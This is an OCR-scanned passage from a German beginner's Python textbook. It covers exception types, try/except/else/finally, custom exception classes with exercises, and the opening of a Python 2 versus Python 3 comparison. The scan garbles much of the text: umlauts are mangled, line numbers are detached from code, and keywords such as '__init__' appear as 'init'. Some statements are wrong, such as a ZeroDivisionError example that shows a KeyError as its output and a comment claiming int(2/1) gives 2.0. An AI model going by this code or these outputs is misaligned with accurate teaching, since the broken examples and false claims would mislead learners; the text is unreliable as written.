Exception
I i [

ArithmeticError LookupError SyntaxkError
yy 'y ry ry
Zerobivisionkrror IdentationkError
IndexError KeyError

Abbildung 14.1.1: Ausschnitt der Vererbungsbeziehungen von Exceptions in Python

Die ndchste Exception ist eine Spezialisierung einer LookupError



Exception, namlich die IndexError Exception. Diese Exception wird
geworfen, wenn du bspw. in einer Liste oder in einem Tupel auf eine
Position bzw. einen Index zugreifen mochtest, den es aufgrund der GréRe
nicht gibt.

Beispiel 14.1.3:

1 buchstaben = ['A','B','C','D','E',"'F']

In dieser Liste sind sechs Elemente enthalten, d. h. der Index lauft von 0
bis einschlieBlich 5. Mit dem folgenden Aufruf wird versucht, auf ein
Element mit dem Index 7 zuzugreifen:

2 buchstaben[7]

Python liefert dann die bereits erwahnte IndexError Exception:

IndexError: list index out of range

Eine artverwandte Exception ist die KeyError Exception. Da es sich auch
hier um einen Zugriffsfehler handelt, erben die Klassen IndexError und
KeyError von der Klasse LookupError. Eine KeyError Exception
tritt z. B. dann auf, wenn man in einem Dictionary auf einen Schlissel
zugreifen mochte, der nicht vorhanden ist.

Beispiel 14.1.4:

1 wahrheitswerte = {"wahr" : 1, "falsch" : 0}

Wir versuchen jetzt, auf einen Wert mit dem Schlissel unwahr
zuzugreifen:

2 wahrheitswerte["unwahr"]

Python informiert uns jetzt mit einer KeyError Exception dariiber, dass
dieser Schlissel nicht existiert:




KeyError: 'unwahr'

Erinnerst du dich noch daran, als du in Kapitel 4.3 verschiedene
Datentypen ineinander umgewandelt hast? Dabei ist dir bestimmt die eine
oder andere ValueError Exception aufgefallen.

Beispiel 14.1.5: Der String eins soll in einen Integer umgewandelt
werden. Dazu kommt die Funktion int zum Einsatz:

int ("eins")

Da in dem String allerdings kein gliltiger Integer enthalten ist, wird
dieses Vorhaben mit einer ValueError Exception beantwortet:

ValueError: invalid literal for int () with base 10: 'eins'

Der letzte Exception-Typ, mit dem wir uns hier beschaftigen wollen, ist die
Spezialisierung einer ArithmeticError Exception, namlich eine

ZeroDivisionError Exception. Diese sollte dir aus der Mathematik
bereits bekannt sein, denn wie du weildt, darf man nicht durch O teilen.
Wenn dir also eine ZeroDivisionError Exception Uber den Weg lauft,
dann wurde irgendwo diese Regel verletzt.

Beispiel 14.1.6:
a = 2
2 b =0

Wir fihren nun die folgende Division durch:

3 a/b

Da b den Wert 0 besitzt und wir somit durch 0 teilen, liefert Python eine
ZeroDivisionError Exception:

KeyError: 'unwahr'



Wir betrachten nun das folgende Programm:

1 primzahlen = [2,3,5,7]
2 primzahlen[6]

Da die Liste aus Zeile 1 nur vier Elemente enthalt und in Zeile 2 auf
einen Index zugegriffen wird, den es nicht gibt, tritt eine IndexError
Exception auf. Eine vollstandige Beschreibung sieht folgendermalien aus:

Traceback (most recent call last):
File "<string>", line 2, in <module>
IndexError: list index out of range

In der letzten Zeile wird angegeben, welche Art von Exception aufgetreten
ist und warum. Es liegt eine IndexError Exception vor und diese wurde
mit der folgenden Begrindung ausgelost: 1ist index out of
range. Dass bei Exceptions eine Begriindung mitgeliefert wird, ist keine
Seltenheit. Das hilft dir als Programmierer beim Debuggen. Wir werden fir

unsere eigenen Exceptions in Kapitel 14.4 ebenfalls so viele Informationen
wie moglich mitgeben, um dem Programmierer das Leben zu erleichtern.

14.2 try und except
Mithilfe der beiden Keywords try und except kann man Exceptions

abfangen und behandeln. Die folgende Code-Schablone zeigt, wie es geht:

try:
<Anweisung 1>

<Anweisung n>
except <Exceptiontyp>:
<Handler>

Code-Schablone 14.2.1: Exceptions behandeln

Alles, was eingerickt hinter dem Keyword try steht, wird ganz normal
ausgefthrt. Das Wort try bedeutet lGbersetzt so viel wie ,versuchen” und



genau das wird hier auch gemacht: Es wird versucht, die
<Anweisungen> fehlerfrei auszufiihren. Durch try signalisiert man

jedoch bereits eine gewisse Alarmbereitschaft und sollte es tatsachlich zu
einem Fehler kommen, dann wird er mithilfe des Keywords except

abgefangen. Dabei musst du angeben, welchen <Exceptiontyp> du
erwartest. Mit <Handler> ist einfach nur gemeint, was bei einem

auftretenden Fehler passieren soll. Das kann bspw. eine einfache Ausgabe
sein, in der ein Benutzer darliber informiert wird, dass er nicht durch 0

teilen darf.

Beispiel 14.2.1: Wir wollen von einem Benutzer zwei Variablen dividend
und divisor abfragen, die durcheinander geteilt werden sollen. Das
Ergebnis wird dann in einer Variable ergebnis gespeichert und
ausgegeben. Da wir bereits ahnen, dass hierbei ein Fehler entstehen kann,
packen wir die dafir nétigen <Anweisungen> in einen try-Block:

try:
a = int (input ("Dividend: "))

1
2
3 b = int(input("Divisor: "))
4 ergebnis =a / b

5

print (f"Das Ergebnis lautet {ergebnis}")

Da der Benutzer fur den Divisor, also die Zahl, durch die geteilt wird, den
Wert 0 angeben konnte, ist es moglich, dass in Zeile 4 durch 0 geteilt wird.

In diesem Fall wiirde eine ZeroDivisionError Exception auftreten.

Um diesen Fehler abzufangen und angemessen darauf zu reagieren,
schreiben wir in Zeile 6 das Keyword except und direkt dahinter den

<Exceptiontyp> ZeroDivisionError:

6 except ZeroDivisionError:

In der nachsten Zeile folgt nun der eingeriickte <Handler>, also unsere

Reaktion auf den Fehler. Da man aus Fehlern lernen soll, teilen wir dem
Benutzer durch eine Ausgabe mit, was genau schiefgelaufen ist:

7 print ("Es darf nicht durch 0 geteilt werden!")



Ganz zum Schluss verabschieden wir den Benutzer:

8 print ("Bye Bye!")

Wenn wir das Programm nun starten und als Divisor die Zahl O eintragen,
dann kommt es zu der ZeroDivisionError Exception und wir
betreten den except-Block. Dort wird dann die folgende Meldung
ausgegeben:

Es darf nicht durch 0 geteilt werden!

Zudem wird auch die print-Anweisung in Zeile 8 ausgefiihrt, die den
Benutzer verabschiedet:

Bye Bye!

Das ware nicht der Fall, wenn wir keine Ausnahmebehandlung durchfiihren
wirden. Dann bricht die Programmausfiihrung namlich einfach ab.
Betrachte dazu das folgende Programm ghne try und except:

a

b

int (input ("Dividend: "))

int (input ("Divisor: "))

1

2

3 ergebnis = a / b
4 print (f"Das Ergebnis lautet {ergebnis}")
5

print ("Bye Bye!")

Kommt es hier zu einer ZeroDivisionError Exception, wird dem
Benutzer lediglich Folgendes mitgeteilt:

ergebnis = a / b
ZeroDivisionError: division by zero

Das zeigt zwar das Problem auf, doch die Programmausfiihrung bricht ab.

Neben einer ZeroDivisionError Exception, kann es auch passieren,
dass der Benutzer keine gliltige Zahl eingibt, was durch die Umwandlung in



einen Integer in den Zeilen 2 und 3 aus Beispiel 14.2.1 zu einer
ValueError Exception fuhrt.

Beispiel 14.2.2: Wir betrachten den t ry-Block aus Beispiel 14.2.1:

try:

a = int (input ("Dividend: "))

1
2
3 b = int(input("Divisor: "))
4 ergebnis =a / b

5

print (f"Das Ergebnis lautet {ergebnis}")

Wenn der Benutzer bspw. fiir den Dividenden den Wert ¢,_3 eintragt, was
kein Integer ist, dann kommt es bei der Umwandlung in einen
Integer in Zeile 3 zu einer ValueError Exception. Diese kdnnen wir
jedoch abfangen, indem wir in Zeile 5 das Keyword except und direkt
dahinter den <Exceptiontyp> ValueError schreiben:

6 except ValueError:

In der nachsten Zeile folgt nun der eingeriickte <Handler>. Dort teilen
wir dem Benutzer mit, dass er keine gliltige Zahl eingegeben hat:

7 print("Die eingegebene Zahl ist ungiltig!")
Ganz zum Schluss verabschieden wir den Benutzer wieder:
8 print ("Bye Bye!")

Wenn wir das Programm nun starten und als Dividend die Zahl ¢, 3
eintragen, dann kommt es zu der ValueError Exception und wir
betreten den except-Block. Dort wird dann die folgende Meldung
ausgegeben:

Die eingegebene Zahl ist ungiultig!

Die print-Anweisung in Zeile 8 wird ebenfalls erreicht und ausgefihrt,



weil wir den Fehler richtig behandelt haben.

Bye Bye!

Jetzt gibt es allerdings ein Problem: Wenn die beiden Benutzereingaben
keine ValueError Exception auslésen und als Divisor wieder die 0

angegeben wird, dann fangt unser Programm den Fehler nicht ab, weil es
dafiir keine except-Anweisung gibt:

ergebnis = a / b
ZeroDivisionError: division by zero

Die print-Anweisung wird jetzt nicht mehr mit ausgefihrt, weil das
Programm nicht weil}, wie es mit einer ZeroDivisionError Exception
umzugehen hat.

Das Problem aus Beispiel 14.2.2 konnen wir 16sen, indem wir einfach
mehrere except-Anweisungen definieren. Die folgende Code-Schablone
zeigt, wie das geht:

try:
<Anweisung 1>

<Anweilsung n>

except <Exceptiontyp 1>:
<Handler 1>

except <Exceptiontyp 2>:
<Handler 2>

except <Exceptiontyp n>:
<Handler n>

Code-Schablone 14.2.2: Mehrere except-Anweisungen

Man schreibt einfach mehrere <Exceptiontypen> hintereinander.
Beispiel 14.2.3:

1 try:
2 a = int(input ("Dividend: "))



3 b = int(input("Divisor: "))
4 ergebnis =a / b
5 print (f"Das Ergebnis lautet {ergebnis}")

Wir sichern den Code nun gegen ZeroDivisionError und
ValueError Exceptions ab. Daflir notieren wir in Zeile 6 das Keyword
except und direkt dahinter die ZeroDivisionError Exception und
die passende Behandlung im <Handler>:

6 except ZeroDivisionError:

7 print("Es darf nicht durch 0 geteilt werden!")

In Zeile 8 folgt dann die ValueError Exception samt Behandlung:

8 except ValueError:

9 print("Die eingegebene Zahl ist ungiltig!")

Jetzt fangt das Programm beide <Exceptiontypen> ab. Statt mehrere
except-Anweisungen zu definieren, kannst du sie in Form eines Tupels

in einer Zeile notieren. Dadurch verkiirzt sich das Programm ab Zeile 6 wie
folgt:

6 except (ZeroDivisionError, ValueError) :

7 print(f"Es ist ein Fehler aufgetreten!")

Jetzt ist es allerdings nicht mehr moglich, dem Benutzer mitzuteilen,
welcher Fehler genau aufgetreten ist. Deshalb bietet es sich an, jeden
Fehler einzeln zu behandeln, vor allem wenn man mehr machen mochte
als ,nur” eine Meldung auszugeben. Das kann im nachfolgenden
Programmablauf sonst zu weiteren Fehlern flihren.

Nicht nur bei if-Anweisungen kommt das Keyword else zum Einsatz,
sondern auch bei der Fehlerbehandlung. Dort kannst du es einsetzen, um
einen Codeblock zu definieren, der nur ausgefiihrt wird, wenn kein Fehler
aufgetreten ist.

Beispiel 14.2.4: Gegeben sei das Programm aus Beispiel 14.2.3:



try:
a = int (input ("Dividend: "))

b = int (input ("Divisor: "))

print (f"Das Ergebnis lautet {ergebnis}")

1

2

3

4 ergebnis =a / b
5

6 except (ZeroDivisionError, ValueError) :
7

print (f"Es ist ein Fehler aufgetreten!")

Wenn wir in Zeile 8 das Keyword e 1 se notieren, kdnnen wir dahinter Code
einrticken, der nur ausgefiihrt wird, wenn kein Fehler aufgetreten ist:

8 else:

9 print("Es ist kein Fehler aufgetreten!")

Wenn wir das Programm starten und bei der Benutzereingabe keinen
Fehler auslosen, dann wird der else-Block betreten und Folgendes

ausgegeben:

Es ist kein Fehler aufgetreten!

Doch was passiert, wenn ein Fehler auftritt, den du als Programmierer
einfach nicht vorhergesehen hast? In so einen Fall kannst du eine except-
Anweisung ohne die Angabe eines <Exceptiontyps> verwenden. Das
ist sozusagen der Joker, der immer dann gezogen wird, wenn alle anderen
except-Anweisungen nicht gegriffen haben. Wenn du mehrere except-
Anweisungen verwendest, muss diese Joker ganz am Ende stehen:

try:
<Anweisung 1>

<Anweisung n>
except <Exceptiontyp 1>:
<Handler 1>

except <Exceptiontyp n>:
<Handler n>

except:

<Handler n+1>



Code-Schablone 14.2.3: except-Anweisung fir nicht gefangene Exceptions

Wenn du das Modul sys importierst, kannst du mit dem Aufruf der
Funktion exc info und dem Adressieren des ersten Elements in der

Ergebnisliste den aufgetretenen Fehler ermitteln, der den Eintritt in den
except-Block ohne <Exceptiontyp> ausgeldst hat.

Beispiel 14.2.5: Gegeben sei das folgende Programm, in dem eine
ZeroDivisionError Exception abgefangen und behandelt wird:

import sys

try:

a = int (input ("Dividend: "))

b = int (input ("Divisor: "))

ergebnis = a / b

print (f"Das Ergebnis lautet {ergebnis}")

except ZeroDivisionError:

O 00 N o un B W N B

print ("Es darf nicht durch 0 geteilt werden!")

Fir jeden weiterenFehler, den wir nicht vorhersehen, definieren wir in
Zeile 10 eine except-Anweisung ohne die Angabe eines

<Exceptiontyps>:

10 except:

Dahinter lesen wir mithilfe der Funktion exc info und dem Adressieren
des ersten Elements mit dem Index O in der Ergebnisliste den
aufgetretenen Fehler aus. Dieser wird in einer Variable error gespeichert:

11 error = sys.exc_info() [0]

Den gespeicherten Fehler geben wir anschliefSend aus:

12 print (f"Es ist ein {error} aufgetreten!")

Wenn wir das Programm starten und eine ValueError Exception



auslésen, dann wird der except-Block ohne <Exceptiontyp>
ausgefiihrt und die folgende Meldung ausgegeben:

Es ist ein <class 'ValueError'> aufgetreten!

14.3 finally

Mit dem Keyword finally kann ein Codeblock definiert werden, der auf
jeden Fall ausgefiihrt wird, egal ob eine Exception geworfen wird oder
nicht. Selbst dann, wenn eine Exception auftritt, die nicht in einer
except-Anweisung aufgefangen und behandelt wird, kommt es zur
Ausfihrung des finally-Blocks. Die folgende Code-Schablone zeigt, wie
das Keyword zu verwenden ist:

try:
<Anweisung 1>

<Anweisung n>

except <Exceptiontyp>:
<Handler>

finally:
<Anweisung 1>

<Anweisung n>

Code-Schablone 14.3.1: Verwendung von finally

finally setzt man vor allem dann ein, wenn vor dem Programmabsturz
noch aufgeraumt werden muss. Dazu zahlt bspw. die Freigabe von
Speicherplatz durch das Loschen von Objekten oder das SchlieRen von
gedffneten Dateien, wenn man nicht den Kontextmanager verwendet usw.

In dem folgenden Programm wird eine Datei gedtffnet, eine Zahl vom
Benutzer abgefragt, diese verdoppelt und das Ergebnis in der Datei
gespeichert:

1 try:
2 datei = open("test.txt", 'w')



3 zahl = int (input ("Zahl: "))
4 zahl *= 2
5 datei.write(f"Das Ergebnis lautet {zahl}.")

Wie du siehst, wird flr die Arbeit mit der Datei nicht der Kontextmanager
verwendet, was vor allem dann problematisch ist, wenn bspw. in Zeile 3
keine Zahl eingegeben wird. Dann kommt es zu einer ValueError
Exception, die nicht abgefangen wird. Dadurch wird die Datei ggf. nicht
ordnungsgemald geschlossen. Mit einem finally-Block kénnen wir
jedoch einen Bereich schaffen, der auf jeden Fall ausgefihrt wird, selbst
wenn eine ValueError Exception geworfen wird. Dort schlielen wir die
Datei und teilen dem Benutzer mit, dass trotz des Fehlers die belegten
Ressourcen freigegeben wurden:

6 finally:
7 datei.close()

8 print("Die Datei wurde geschlossen!")

Wenn wir das Programm aufrufen und als Zahl ,versehentlich” 3, 05
eingeben, dann kommt es zwar zu einem ValueError, der zum

Programmabbruch fihrt, doch zuvor wird die Datei noch geschlossen, was
man an der folgenden Ausgabe erkennen kann:

Zahl: 3,05
Die Datei wurde geschlossen!

14.4 Eigene Ausnahmen definieren

Bisher hast du nur Exceptions kennengelernt, die Teil der
Standardbibliothek von Python sind. Diese ist zugegebenermalien sehr
umfangreich, doch es gibt durchaus sehr spezifische Anwendungsfalle, fir
die Python noch keine Exception bereithalt. Deshalb schauen wir uns jetzt
einmal an, wie man eigene Ausnahmen bzw. Exceptions definieren kann.

Dazu wollen wir exemplarisch eine OutOfBoundsError Exception



schreiben, die auftreten soll, wenn sich ein Wert aullerhalb eines
definierten Bereichs bewegt. Angenommen, es wird eine Zahl von einem
Benutzer abgefragt, die zwischen (inklusive) 1 und (inklusive) 10 liegen
soll. Wenn der Benutzer eine Zahl angibt, die kleiner als 1 oder grof3er als
10 ist, dann soll darauf mit einer OutOfBoundsError Exception reagiert
werden.

Wie du bereits in  Abbildung_ 14.1.1: Ausschnitt der
Vererbungsbeziehungen von Exceptions in Python gesehen hast, sind
Exceptions hierarchisch organisiert und Uber Vererbung miteinander
verbunden. Die OutOfBoundsError Exception soll sich auf einer Stufe
mit einer ArithmeticError, LookupError und SyntaxError
Exception befinden. Deshalb erbt sie auch von der Klasse Exception,
wie die folgende Abbildung zeigt:

Exception

OutOfBoundsError

Abbildung 14.4.1: Die OutOfBoundError Exception erbt von der Klasse Exception

Wir schreiben uns also eine Klasse OutOfBoundsError, die von der
Klasse Exception erbt. Dazu schreiben wir den Namen der Klasse
Exception in runden Klammern hinter unsere neue Klasse:

1 class OutOfBoundsError (Exception) :



In der  init -Methode Ubergeben wir als Parameter die self-
Referenz und eine Variable wert. Dariber wird spater der Wert
Ubergeben, der die OutOfBoundsError Exception ausgeldst hat. In der
Variable msg*® kann eine Nachricht mitgegeben werden, die beim
Auftreten der Exception ausgegeben wird. Wird nichts angegeben, dann

soll die Meldung Wert aubBerhalb der Grenzen! erscheinen:

2 def init (self,wert,msg="Wert auBerhalb der Grenzen!"):

Die beiden Parameter werden jetzt Objektvariablen zugewiesen:

3 self.wert = wert

4 self.msg = msg

In unserem Hauptprogramm definieren wir nun zwei Variablen, namlich
eine flr die Untergrenze 1 und eine fir die Obergrenze 10:

9 if name == " main ":
10 untergrenze = 1
11 obergrenze = 10

AnschlieBend wird vom Benutzer eine Zahl zwischen 1 und 10 abgefragt,
die dann in einen Integer umgewandelt und einer Variable zahl
zugewiesen wird:

13 zahl = int (input ("Gib eine Zahl zwischen 1 und 10 ein: "))

In einer i f-Anweisung wird nun geprift, ob die Variable zah1l kleiner als
die Untergrenze oder grol3er als die Obergrenze ist:

15 if zahl < untergrenze or zahl > obergrenze:

Trifft das zu, dann wird mit dem Keyword raise die
OutOfBoundsError Exception geworfen. Die vom Benutzer
Ubergebene zah1l wird der Exception lGbergeben:



16 raise OutOfBoundsError (zahl)

Ansonsten ist alles in Butter und wir geben die Variable zah1 einfach aus:

17 else:
18 print (f"Deine Zahl ist {zahl}!")

Wenn der Benutzer jetzt bspw. die Zahl 12 Ubergibt, die auRerhalb der
festgelegten Grenzen liegt, dann wird die OutOfBoundsError
Exception ausgelost:

__main_ .OutOfBoundsError: 12

Leider ist diese Meldung nicht sehr aussagekraftig, da lediglich der Name

der Exception und der Ubergebene wert angezeigt werden. Deshalb
Uberschreiben wir die magische Methode str  und kdnnen dadurch

zusatzlich zum wert auch noch eine Nachricht Ubermitteln:

6 def  str (self) :

7 return f"{self.wert} -> {self.msg}"

Wenn das Programm jetzt erneut gestartet und der Wert 12 Ubergeben
wird, dann erscheint hingegen die folgende Meldung:

__main_ .OutOfBoundsError: 12 -> Wert auBerhalb der Grenzen!

Das ist schon wesentlich aussagekraftiger als einfach nur ein Zahlenwert.

Die Mitteilung Wert auBerhalb der Grenzen! konnte aber
trotzdem noch etwas genauer sein, oder? Innerhalb der Exception eine
Fallunterscheidung zu machen, ware moglich, doch dann misste man noch
weitere Parameter Gbergeben. Eine Alternative besteht darin, einfach zwei
weitere Exceptions zu definieren, die von der OutOfBoundError
Exception erben. So ist es bspw. bei der IndexError und der
KeyError Exception, die beide von der LookupError Exception erben.

Um auszudriicken, dass ein Fehler verursachender Wert kleiner als die



Untergrenze oder groRer als die Obergrenze ist, definieren wir eine
ValueTooSmallError und ValueTooBigError Exception. Beide

erben von der OutofBoundError Exception, wie die folgende
Abbildung zeigt:

Exception

4

OutOfBoundsError

ValueTooSmallError ValueTooBigError

Abbildung 14.4.2: Die ValueTooSmallError und ValueTooBigError Exception erben beide
von der OutOfBoundError Exception

Um diese beiden Exceptions zu implementieren, erweitern wir das
folgende Programm um zwei weitere Klassen:

class OutOfBoundsError (Exception) :
def init (self,wert,msg="Wert auBerhalb der Grenzen!"):

self.wert = wert

def  str (self):

1
2
3
4 self.msg = msg
5
6
7

return f"{self.wert} -> {self.msg}l"

Diese beiden Klassen tragen den Namen unserer Exceptions, namlich
ValueTooSmallError und ValueTooBigError. Beide erben von

der Klasse OutOfBoundsError. Bis auf die ausgegebene Meldung,

wenn die Exception auftritt, kann der Rest genauso bleiben wie bei einer
OutOfBoundsError Exception. Deshalb missen wir lediglich die



__str -Methode uberschreiben, sodass bei der
ValueTooSmallError Exception die Nachricht Der Wert ist zu
klein und bei der ValueTooBigError Exception die Nachricht Der
Wert ist zu groB ausgegeben wird:

9 class ValueTooSmallError (OutOfBoundsError) :

10
11
12
13
14
15

def  str (self) :

return f"{self.wert} -> Der Wert ist zu klein!"

class ValueTooBigError (OutOfBoundsError) :

def  str (self) :

return f"{self.wert} -> Der Wert ist zu groBR!"

In dem Hauptprogramm wird jetzt in einer i £-Anweisung der eingegebene
Wert Gberprift. Wenn die zah1l vom Benutzer kleiner als die Untergrenze
ist, dann wird eine ValueTooSmallError Exception ausgegeben und
wenn sie groBer als die Obergrenze ist, eine ValueTooBigError

Exception.
17 if name == " main ":
18 untergrenze = 1
19 obergrenze = 10
20
21 zahl = int (input ("Gib eine Zahl zwischen 1 und 10 ein: "))
22
23 if zahl < untergrenze:
24 raise ValueTooSmallError (zahl)
25 elif zahl > obergrenze:
26 raise ValueTooBigError (zahl)
Gibt der Benutzer bspw. 0 ein, dann kommt es zu einer

ValueTooSmallError Exception mit der folgenden Ausgabe:

__main .ValueTooSmallError: 0 -> Der Wert ist zu klein!

Gibt er hingegen bspw. eine 12 ein, dann kommt es zu einer



ValueTooBigError Exception mit der folgenden Ausgabe:

__main_ .ValueTooBigError: 12 -> Der Wert ist zu grob!

14.5 Ubungsaufgaben
@ Gegeben seien die folgenden Variablen und Datenstrukturen:
1 name = "Tux"
2 i = 42
3 liste = [1, name, True]
4 § = 42
5 worterbuch = {"Tuxedo" : "Anzug", "Mask" : "Maske"}

Gib fur jede der folgenden Zeilen an, ob und wenn ja, welche Art von
Exception geworfen wird:

6 int (i)
7 float (name)

8 liste[3]

9 i/ (i-3j)

10 liste[i-40]

11 print(f'Hallo {name}!")

12 worterbuch["Maske"]

13 Dbool (name)

14 worterbuch[name + "edo"]

15 i/ (3%6)

16 datei = open("test.txt",'r') # "test.txt" existiert nicht.

@ Welche Exception kann in dem folgenden Programm geworfen
werden? Erganze eine except-Anweisung, um die Exception zu fangen

und gib mit einer print-Anweisung aus, warum die Exception geworfen
wurde:

1 nachnamen = {



2 "Maria" : "Huber",

3 "Martin": "Lampey",

4 "Matthias": "Burk"

5}

6

7 try:

8 wvorname = input ("Nach wem suchst du? ")
9 nachname = nachnamen[vorname]

10 print (f"{vorname} {nachname}")

@ Welche Exceptions konnen in dem folgenden Programm geworfen
werden? Erganze fir jeden moglichen Exceptiontyp eine eigene except-
Anweisung und gib jeweils mit einer print-Anweisung aus, warum die
Exception geworfen wurde:

try:
gewicht = int (input ("Gewicht (in kg): "))

1
2
3 grobe = float (input ("Korpergrobe (in cm): "))
4 bmi = gewicht/grole**2

5

print (f"Dein BMI ist {bmi}")

@ Wie lautet die Ausgabe des folgenden Programms und warum?

import sys
try:
int ("2 + 3")

except:

print (f"Es ist ein {error} aufgetreten!")

1
2
3
4
5 error = sys.exc info () [0]
6
7 else:

8

print ("Das Programm enthédlt keine Fehler!")

@ Gegeben sei das folgende Programm:

1 class Zahl:
2 def init (self, wert):

3 self.wert = wert



try:
wert = int (input ("Geben Sie einen Wert an: "))
zahl

Zahl (wert)

0 N o U b

ergebnis = 42 / zahl.wert

Hier kann es zu mehreren Exceptions kommen. Sorge mit einem
finally-Block dafir, dass das Objekt zah1 auf jeden Fall geléscht wird.

Teile dem Benutzer mit der Meldung Das Zahl-Objekt wurde
geldscht ! mit, dass das Objekt geléscht wurde. Wenn das Objekt zahl

nicht geloscht werden kann, z. B. weil es vor dem Erzeugen schon zu einer
Exception in Zeile 6 kommt, soll die dadurch entstandene NameError

Exception im £inally-Block abgefangen werden. In diesem Fall soll dann
die Meldung Das ObJjekt konnte nicht geldscht werden,.
weil es nicht existiert! ausgegeben werden.

@ Gegeben sei das folgende Programm:

1 def prim(n) :

2 for i in range(2,n):

3 if (n % i) == O0:

4 return False

5 return True

6

7 zahl = int (input ("Gib eine Primzahl ein: "))
8

9 if not prim(zahl) :

10 raise IsNotPrimeError (zahl)

In den Zeilen 1 bis 4 wurde eine Funktion definiert, mit der fiir eine Zahl n
bestimmt werden kann, ob es sich bei ihr um eine Primzahl handelt oder
nicht. In Zeile 7 wird vom Benutzer eine Zahl abgefragt, von der Uberprift
werden soll, ob sie prim ist. Wenn das nicht der Fall ist, dann soll eine
IsNotPrimeError Exception definiert werden. Diese erhalt als
Parameter die Zahl, aufgrund der die Exception geworfen wurde. Fir die
Eingabe 12 soll die folgende Fehlermeldung erscheinen:



__main .IsNotPrimeError: 12 ist keine Primzahl!

Implementiere die IsNotPrimeError Exception.

In der folgenden Playlist findest du die Lésungen zu den Ubungsaufgaben
aus diesem Kapitel:

https://florian-dalwigk.com/python-einsteiger/I%C3%B6sungen_kapitel14


https://florian-dalwigk.com/python-einsteiger/l%C3%B6sungen_kapitel14

15 Python 2 vs. Python 3

Was |ost der folgende Code in dir aus?

print "Hallo Python!™"

Sieht das richtig fur dich aus? Nein, oder? Da fehlen doch die Klammern
um den String Hallo Python! Nun, das lasst sich so pauschal leider
nicht sagen, denn es kommt darauf an, ob der Interpreter von Python 2
oder Python 3 verwendet wird. Wahrend Python 3 hier einen Syntax-Fehler
melden wiirde, gibt der Interpreter von Python 2 keinen Mucks von sich.
Das liegt vor allem daran, dass die Funktion print in Python 2 noch gar
keine Funktion, sondern ein Keyword war. In diesem Kapitel schauen wir
uns an, welche Unterschiede es noch zwischen diesen beiden Python-
Versionen gibt und klaren, ob es wirklich die richtige Entscheidung war, sich
in diesem Buch auf Python 3 zu fokussieren. Kleiner Spoiler: Ja, sonst hatte
ich das Buch nattrlich anders aufgebaut!

Fir die Gegenlberstellung werden unterschiedliche Bereiche betrachtet,
namlich die Syntax, die Zeichencodierung und die Integer-Division.

15.1 Syntax

Einen wesentlichen Unterschied in der Syntax hast du mit der print-
Funktion und dem Keyword print ja bereits kennengelernt:

print "Hallo Python!" # Python 2
print ("Hallo Python!") # Python 3

Das gilt natirlich analog auch fiir die Ausgabe mehrerer kommaseparierter
Werte:



print "Hallo", "Python!", 42 # Python 2
print ("Hallo", "Python!", 42) # Python 3

Die Klammern nach dem print fihren in Python 2 jedoch nicht zu einem

Fehler, wahrend das bei fehlenden Klammern in Python 3 sehr wohl der
Fall ist.

Ein weiterer syntaktischer Unterschied ist in der Verwendung von
Exceptions zu finden. In Python 2 war es moglich, eine Exception auf zwei
verschiedene Arten zu werfen:

raise Exception, "Fehler!” # Python 2
raise Exception("Fehler!”) # Python 2

In Python 3 ist die erste Option allerdings verschwunden und man kann nur
noch die Variante mit den runden Klammern durchfihren:

raise Exception ("Fehler!") # Python 3

Vermutlich hat man sich dafiir entschieden, die erste Variante zu
entfernen, da sie stark an die kommaseparierte Ausgabe nach dem
Keyword print (Python 2) erinnert. Vielleicht hat es aber auch andere

Grinde. Mit Kommata hat man sich in Python 3 offensichtlich generell
nicht so anfreunden koénnen, denn im Vorganger wurden noch zwei
verschiedene Arten zum Fangen von Exceptions unterstitzt:

# Python 2, Variante 1
try:

i=1/0
except Exception as ex:
print ex

Bei der zweiten Variante verzichtet man auf das Keyword as und
verwendet stattdessen ein Komma:

# Python 2, Variante 2
try:

i=1/0
except Exception, ex:



print ex

Einmal darfst du raten, welche Variante es nicht nach Python 3 geschafft.
Richtig, die zweite, d. h. Exceptions, die spater ausgegeben werden sollen,
kdnnen nur noch mit dem Keyword as und der print-Funktion notiert

werden:

# Python 3
try:
i=1/0
except Exception as ex:
print (ex)

Bei den Iteratoren liegen die Unterschiede vor allem in der Verwendung
von range. Wie du bereits weilst, funktionieren for-Schleifen in Python
iteratorbasiert. Das macht man, weil man so eleganter und
speicherschonender arbeitet. Dieses Konzept gibt es aber nicht erst seit
Python 3, sondern war schon in Python 2 vorhanden. Trotzdem gab die
Funktion range in Python 2 keinen Iterator, sondern eine L.iste zurlick:

range (1,6) # Liefert direkt die Liste [1,2,3,4,5]

Mdochte man in Python 3 mithilfe von range eine Liste erzeugen, dann
muss man das Ergebnis erst in eine Liste umwandeln:

list(range(1,6)) # Liefert die Liste [1,2,3,4,5]

In Python 2 konnte mithilfe von xrange ein Iterator erzeugt werden.

15.2 Zeichencodierung

Die Bedeutung des Datentyps String unterscheidet sich in den beiden

Python-Versionen. In Python 2 gibt es dafiir eigentlich zwei verschiedene
Datentypen, namlich str und unicode. Mit str konnte man beliebige

Bytefolgen speichern, wohingegen unicode nur fiir das Speichern von



Text im Unicode-Format zustandig war. Anstelle von str wiirde man in
Python 3 heute bytes oder bytearray verwenden.

In Python 2 wird auRerdem standardmaRig die ASCII-Zeichenkodierung
genutzt. Mit dem u-Literal kdnnen Zeichenketten in Unicode konvertiert

werden:

u"\xff" # liefert das Zeichen ¥

Das u-Literal und der Datentyp unicode existieren in Python 3 so

allerdings nicht mehr. Stattdessen wird Text hier standardmaflig im
Unicode-Format ausgegeben, womit ein weitaus grollerer Zeichenbereich
abgebildet werden kann.

15.3 Integer-Division

Beim Dividieren gibt es einen wichtigen Unterschied zwischen Python 2
und Python 3. In Python 3 ist das Ergebnis einer Division zweier
Ganzzahlen grundsatzlich vom Typ float. Selbst wenn kein krummes

Ergebnis herauskommen sollte und die Division aufgehen wirde, macht
Python 3 daraus eine FlieRkommazahl, was man an dem folgenden Code
sehen kann:

2/1 # ergibt 2.0

Wenn du doch eine Ganzzahl vom Typ int haben mdchtest, musst du das
Ergebnis der Division zuerst umwandeln:

int (2/1) # ergibt 2.0

Alternativ kann man aber auch den doppelten Divisionsoperator // fur die
Integer-Division verwenden, der allerdings immer den Nachkommateil
entfernt:

int(2//1) # ergibt 2
int(3//2) # ergibt 1 und nicht 2. 1.5 wird nicht gerundet.



In Python 2 ist die Integer-Division der Standard, d. h. wenn du bspw.
das Ergebnis von 3/2 berechnen willst, bekommst du direkt die 1 und

musst nichts umwandeln. Wenn du fiir eine mathematische Operation
genauere Ergebnisse bendétigst, gehst du wie folgt vor:

1 from  future  import division

2 3/2 # ergibt 1.5

Mit dem Import aus Zeile 1 werden fortan, wie bei Python 3, die
Ergebnisse von Divisionen als f1oat gespeichert.

15.4 Python 2 oder Python 3 nutzen?

